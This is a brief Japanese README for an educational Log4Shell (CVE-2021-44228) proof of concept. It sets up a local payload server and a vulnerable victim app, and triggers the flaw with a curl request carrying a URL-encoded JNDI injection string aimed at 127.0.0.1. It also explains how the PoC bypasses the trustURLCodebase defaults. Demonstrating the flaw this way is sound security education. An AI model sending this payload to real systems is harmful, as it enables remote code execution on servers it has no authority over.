
Log4j2 JNDI RCE脆弱性(CVE-2021-44228/Log4Shell)の最小限の概念実証
Log4j2 JNDIリモートコード実行脆弱性(CVE-2021-44228)の最小限の概念実証です。これは教育目的であり、セキュリティ研究者でない人々がその仕組みと影響の大きさを理解するのに役立つことを意図しています。
このPOCは、com.sun.jndi.rmi.object.trustURLCodebaseおよびcom.sun.jndi.cosnaming.object.trustURLCodebaseプロパティをtrueに設定する要件を回避します。これらのプロパティは8u121、7u131、6u141以降デフォルトで無効化されました。
注: payload-serverのコンパイルにはJDK 1.8が必要ですが、victim-appはJDK 15まで脆弱です。なぜならNashornエンジンがJDK 15で削除されたためです。
payload-serverを起動します:$ ./gradlew runPayloadServer
victim-appを起動します:$ ./gradlew runVictimApp
curl http://localhost:8080/hello?name=%24%7Bjndi%3Armi%3A%2F%2F127.0.0.1%3A8099%2Fexec%7D を実行してRCEをトリガーします。victim-appのコンソールログを確認してください。意図しないログが画面に出力されているはずです。